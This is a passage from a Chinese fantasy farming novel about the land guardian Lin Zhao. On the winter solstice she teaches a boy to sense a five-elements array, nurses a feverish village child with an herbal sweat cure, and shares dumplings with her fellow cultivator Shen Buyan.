你对这片土地牵挂越深,对土地上的人牵挂越深,阵法的运转就越灵动,越有生气。因为它不是冰冷的符文和灵气,是你心念的延伸。
就像母亲不需要刻意去想,就能感知到孩子的冷暖。
守土人也不需要刻意去控阵,只要心系这片土地,阵法自然会回应。
她放下笔,走到院中。
夜深了,星子很亮。阿茸从窝里抬起头,看着她,轻轻“咩”了一声。
林照摸摸它的头,望向远山。
山的那边,是王家村。那个三岁的孩子,此刻应该睡得正香。
再远些,是青州,是北地,是赤焰谷,是紫阳宗,是云游剑派,是所有在各自路上行走的人们。
他们也许永远不会知道,今夜有个女子在晒谷观的院子里,为他们、为这片土地上所有平凡的生命,点了一盏心灯。
灯不亮,但能照见脚下的路。
这就够了。
林照轻声说:“再走一步,就一步。”
这次不是向前走。
是向下扎——
把根,扎进这片土地的最深处。
44. 冬至
冬至前三天,晒谷观下了入冬以来第一场大雪。
雪是半夜开始下的,起初只是细碎的雪粒子,敲在瓦上沙沙响。到了后半夜,变成了鹅毛大雪,纷纷扬扬,铺天盖地。晨起时,整个世界都白了——山白了,树白了,田白了,连老井的井沿都积了厚厚一圈雪。
林照推开门,呼出的白气瞬间融入雪雾里。阿茸从窝里探出头,看见雪,新奇地“咩”了一声,试探着伸出前蹄踩了踩,又赶紧缩回来——太凉了。
“都起来扫雪。”林照转身朝屋里喊,“雪太厚,压塌房檐就麻烦了。”
几个孩子窸窸窣窣地穿衣起床。李虎领头,拿着大扫帚扫院子;黑娃和四毛搬来梯子,爬上房顶清瓦上的积雪;二壮带着五娃扫门前的小路;最小的豆苗也拿着小扫帚,有模有样地跟着扫。
沈不言在院子里练剑。
他的剑更慢了。慢到几乎看不清剑锋,只能看见一道淡淡的青影在雪中缓缓游走,像鱼在水里。剑过之处,雪不飞溅,反而温顺地让开一条路,露出底下湿润的黑土。等剑过后,雪又缓缓合拢,不留痕迹。
“沈师兄的剑,越来越像犁了。”李虎边扫雪边小声说。
林照看着,眼中含笑。她知道,沈不言找到了自己的路——不是云游剑派传承千年的“云游剑”,是他自己悟出的“耕剑”。剑意不在飘渺逍遥,在深耕细作,在默默滋养。
早饭后,林照开始兑现承诺,教李虎阵法。
教学地点选在堂屋。林照把老谷头的图纸一张张摊在桌上,先从最简单的“小五行聚灵阵”讲起。
“五行不是相克吗?”李虎看着图纸上金木水火土五个方位的标记,疑惑道,“怎么聚灵?”
“五行相克,也相生。”林照拿起五枚铜钱——这是她从陈砚留下的杂物里找的,分别代表金木水火土,“你看,金生水,水生木,木生火,火生土,土生金。这是一个循环。”
她把铜钱按方位摆好:“聚灵阵的关键,不是强行抽取灵气,是让这个循环转起来。循环一转,自然会把周围的灵气慢慢吸引过来,就像水流会往低处走。”
李虎似懂非懂:“那……怎么让循环转起来?”
“用心。”林照说,“不是用力。你闭上眼睛,想象这五枚铜钱不是死物,是五个活着的点——金点在呼吸,水点在流动,木点在生长,火点在燃烧,土点在承载。它们彼此呼应,彼此滋养。”
李虎闭上眼睛,努力想象。可脑海里只有五枚冷冰冰的铜钱。
试了三次,都失败了。
“林照,我……”李虎睁开眼,有些沮丧。
“不急。”林照拍拍他的肩,“阵法之道,首重感应。你连麦子什么时候渴、什么时候饱都能感觉到,怎么会感觉不到铜钱的‘呼吸’?”
她让李虎把铜钱收起来:“今天先不学了。你去后院,给菜窖里的白菜翻翻身——底下的大闷,上头的太干,翻一翻,让每颗菜都透透气。”
李虎愣了:“这……跟阵法有什么关系?”
“去了就知道。”
李虎将信将疑地去了。
林照走到院中,看沈不言练剑。雪已经停了,阳光透过云层洒下来,照在雪地上,泛着细碎的金光。
“沈不言,你觉得李虎能学会阵法吗?”她问。
沈不言收剑,想了想:“能。但需要时间。就像我练剑——以前总觉得剑越快越好,现在才知道,慢下来,才能听见剑自己的声音。”
“剑有声音?”
“有。”沈不言点头,“不同的时候,声音不同。在田里练,剑声像泥土翻动;在雪中练,剑声像雪落无声;在月下练,剑声像风过竹林。”
他顿了顿,看向林照:“你教李虎的方法是对的。阵法不是符文和灵气的堆砌,是对万事万物‘呼吸’的感知。他先得学会听白菜的呼吸,才能听铜钱的呼吸,最后听地脉的呼吸。”
林照笑了:“你现在说话越来越像老谷头了。”
沈不言也笑:“在你这里住久了,染了地气。”
这时,院门外传来脚步声。
是王村长,还带着个裹得严严实实的小身影——正是王家村那个三岁的孩子,小名叫栓子。
“林姑娘,”王村长搓着手,“栓子奶奶让我带他来谢谢你。孩子能下地走了,说想来看看救他的神仙姐姐。”
栓子从厚厚的棉袄里探出小脸,怯生生地看着林照。脸色比上次红润了些,但还是很瘦,眼睛大大的,像受惊的小鹿。
林照蹲下身,柔声问:“栓子,还难受吗?”
栓子摇摇头,小声说:“不难受了。奶奶说,是姐姐给的药好。”
“不是药好,是栓子自己争气。”林照摸摸他的头,“来,进屋坐,外头冷。”
一行人进了堂屋。林照让豆苗去灶房端来热姜茶,又拿出些秋天晒的柿饼给栓子吃。
王村长喝着茶,叹气道:“林姑娘,栓子是好些了,可村里其他孩子……今年冬天特别冷,好几个都咳嗽、发烧。村东头老刘家的孙子,烧了三天,昨天请了郎中,说是‘寒邪入肺’,开了药,可吃了也不见好。”
林照心中一紧:“我去看看。”
“这怎么行,太麻烦你了……”
“不麻烦。”林照起身,“豆苗,带上药篓。沈先生,麻烦你照看栓子和观里的孩子。”
沈不言点头:“放心。”
林照和豆苗跟着王村长往王家村去。雪后的山路不好走,深一脚浅一脚,到村里时,鞋袜都湿了。
老刘家比老赵家更穷。两间土房,窗户用油纸糊着,屋里昏暗阴冷。炕上躺着个五六岁的男孩,盖着床破棉被,小脸烧得通红,呼吸急促,喉咙里发出“嗬嗬”的声音。
林照一摸额头,烫得吓人。
她翻开孩子眼皮,又听了听胸口,脸色凝重:“是肺炎。再拖,要出人命。”
“那……那怎么办?”老刘是个老实巴交的庄稼汉,急得直搓手,“郎中说没法治了,让准备后事……”
“有法治。”林照从药篓里取出几味猛药——麻黄、桂枝、杏仁,都是发汗解表的。但她犹豫了,孩子体质太弱,用猛药怕扛不住。
她想起老谷头教过的一个法子:“豆苗,去灶房,烧一大锅热水。刘叔,把你家所有的被子、棉袄都拿来。”
热水烧好了。林照让老刘把孩子衣服脱了,用热毛巾从头到脚擦洗,擦一遍,裹一层被子。擦了三遍,裹了三层,孩子开始微微出汗。
这时她才敢用药。把麻黄、桂枝减了量,加上甘草调和,熬成浓浓的一碗,趁热喂下去。
药下肚,孩子汗出如浆。
林照守在炕边,不时给孩子擦汗、换干毛巾。豆苗也守在灶前,随时添热水。从晌午到傍晚,孩子的高烧终于退了,呼吸也平稳下来。
老刘跪在地上就要磕头,被林照拦住。
“刘叔,孩子暂时没事了,但得养。这几天不能见风,不能受凉,多吃流食。”她写了个方子,“按这个方子抓药,吃七天。另外……”
她从怀里掏出个小布袋,里面是些散碎银子:“这些钱,给孩子买点肉、买点蛋,补补身子。”
老刘眼泪直流,说什么也不肯收。
最后是王村长劝:“老刘,收下吧。林姑娘一片心意,你不收,她心里不安。等孩子好了,你多给晒谷观送几担柴火,算是报答。”
老刘这才收了,千恩万谢。
回去的路上,天已经黑了。雪地反射着月光,路倒不难走。豆苗牵着林照的手,忽然问:“照姐,为什么穷人总是生病?”
林照沉默片刻,轻声道:“因为穷人生不起病。一点点小病,舍不得看郎中,拖成大病;得了大病,没钱抓药,只能硬扛。扛过去是命大,扛不过去……”
她没说完,但豆苗懂了。
“那……我们能帮他们吗?”
“能帮一点是一点。”林照说,“但最重要的,不是等他们病了去救,是让他们少生病。”
“怎么少生病?”
林照想了想:“吃饱,穿暖,住得干净,干活不过度。这些说起来简单,做起来难。”
豆苗似懂非懂,但把这话记在了心里。
回到晒谷观,已是戌时。孩子们都睡了,只有沈不言还在堂屋等着,油灯下摆着一盘热腾腾的饺子。
“王婶送来的。”沈不言说,“她说今天冬至,该吃饺子。”
林照这才想起,今天是冬至了。
她洗了手,和沈不言对坐吃饺子。饺子是白菜猪肉馅的,皮薄馅大,咬一口满嘴香。豆苗累坏了,吃了两个就趴桌上睡着了,林照把他抱回屋。
吃完饺子,林照走到院中。雪又下了起来,细细密密的,在月光下像撒了一把盐。
沈不言跟出来,递给她一件斗篷:“披上,别着凉。”
“谢谢。”林照披上斗篷,望向王家村方向,“你说……修行到底是为了什么?”
沈不言想了想:“以前我觉得,是为了变强,为了逍遥,为了长生。现
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在觉得……是为了有能力,让像栓子、像老刘家孙子那样的孩子,能少受点苦。”
林照转头看他:“你不觉得……这太渺小了吗?”
“渺小?”沈不言笑了,“林照,一株麦子渺小吗?可千万株麦子,能养活千万人。一个孩子渺小吗?可每一个孩子,都是一条命,一个未来。”
他顿了顿,声音低沉:“师父说过,云游剑派千年传承,不是为了出几个剑仙,是为了让持剑的人,记得剑该指向哪里。指向该护的人,指向该守的土,这剑,才算是剑。”
林照心中触动。
两人沉默着看雪。雪越下越大,很快在地上积了厚厚一层。
“林照!沈师兄!”
李虎忽然从后院跑出来,手里捧着那五枚铜钱,脸上是抑制不住的兴奋:“我……我好像感觉到了!”
“感觉到什么?”林照问。
“铜钱的呼吸!”李虎激动地说,“我刚才在菜窖翻白菜,翻着翻着,忽然就明白了——每颗白菜的呼吸都不一样。底下的闷,呼吸就沉;上头的干,呼吸就急。我给它们翻身,让闷的透透气,让干的沾沾潮气,然后……然后我就感觉到,整个菜窖都在呼吸!”
他摊开手心,五枚铜钱静静躺着:“我把铜钱拿出来,闭上眼睛,就感觉……金点不是冷的,是温的,像刚出炉的铜器;水点不是死的,是润的,像井里的水;木点不是硬的,是韧的,像春天的树枝;火点不是烫的,是暖的,像灶里的余烬;土点不是沉的,是厚的,像我们脚下的地!”
他深吸一口气:“然后它们就……就转起来了!不用我推,自己就转!”
林照和沈不言对视一眼,都看到了对方眼中的惊喜。
“走,去试试。”林照说。
三人来到后院。李虎按方位摆好铜钱,闭上眼睛,静立片刻。渐渐地,五枚铜钱开始微微发光——金点泛白,水点泛黑,木点泛青,火点泛红,土点泛黄。
五色光芒流转,形成一个缓慢旋转的光环。光环中,隐隐有气流涌动,很微弱,但确实存在——那是被吸引过来的天地灵气。
虽然只是一点点,连滋养一株草都不够,但这意味着,李虎入门了。
“成了!”李虎睁开眼,满脸兴奋,“林照,我成了!”
林照拍拍他的肩:“好样的。但这只是开始。阵法之道,深如海。你今天能引动五枚铜钱,明天要学引动五十枚、五百枚,最后要能引动整片土地的地脉。”
李虎重重点头:“我会努力的!”
夜深了,李虎回去休息。林照和沈不言还站在院子里。
“这孩子,大器晚成。”沈不言说。
“嗯。”林照点头,“但更难得的,是他有那颗心——能感觉到白菜呼吸的心。有这颗心,学什么都能成。”
雪停了,月亮从云层后露出来,清辉洒在雪地上,一片皎洁。
林照忽然想起老谷头的话:“照丫头,冬至是一年里黑夜最长的一天。但过了今天,白天就一天比一天长了。再黑暗,光总会来的。”
她望向东方——那是太阳升起的方向。
虽然此刻还是一片漆黑,但再过几个时辰,天就会亮。
就像这片土地上的生命,再艰难,也在努力生长。
“沈不言,”她轻声说,“明天,我们去村里看看。教他们怎么砌火炕,怎么储冬菜,怎么预防风寒。能少病一个是一个。”
“好。”沈不言点头,“我跟你去。”
两人约定,各自回屋。
林照躺在床上,却睡不着。她想起白天老刘家那个孩子烧得通红的脸,想起栓子怯生生的眼睛,想起王村长搓着手说“麻烦你了”,想起这片土地上,还有千千万万这样艰难活着的人。
她忽然明白了守土令真正的重量。
守土,不是守着一亩三分地,是守着这片土地上所有的生命,让他们能少受点苦,多尝点甜。
这担子很重。
但她愿意扛。
因为她是老谷头的徒弟,是守土人,是这片土地的女儿。
窗外,传来阿茸轻柔的“咩”声,像在说梦话。
林照闭上眼,轻声说:“睡吧,明天还要干活呢。”
月光透过窗纸,洒在地上,一片安宁。
而在晒谷观的后院,那五枚铜钱还在微微发光,五色光芒缓缓流转,像大地沉睡时的呼吸。
一夜,就这样过去。
冬至过了。
天,该亮得越来越早了。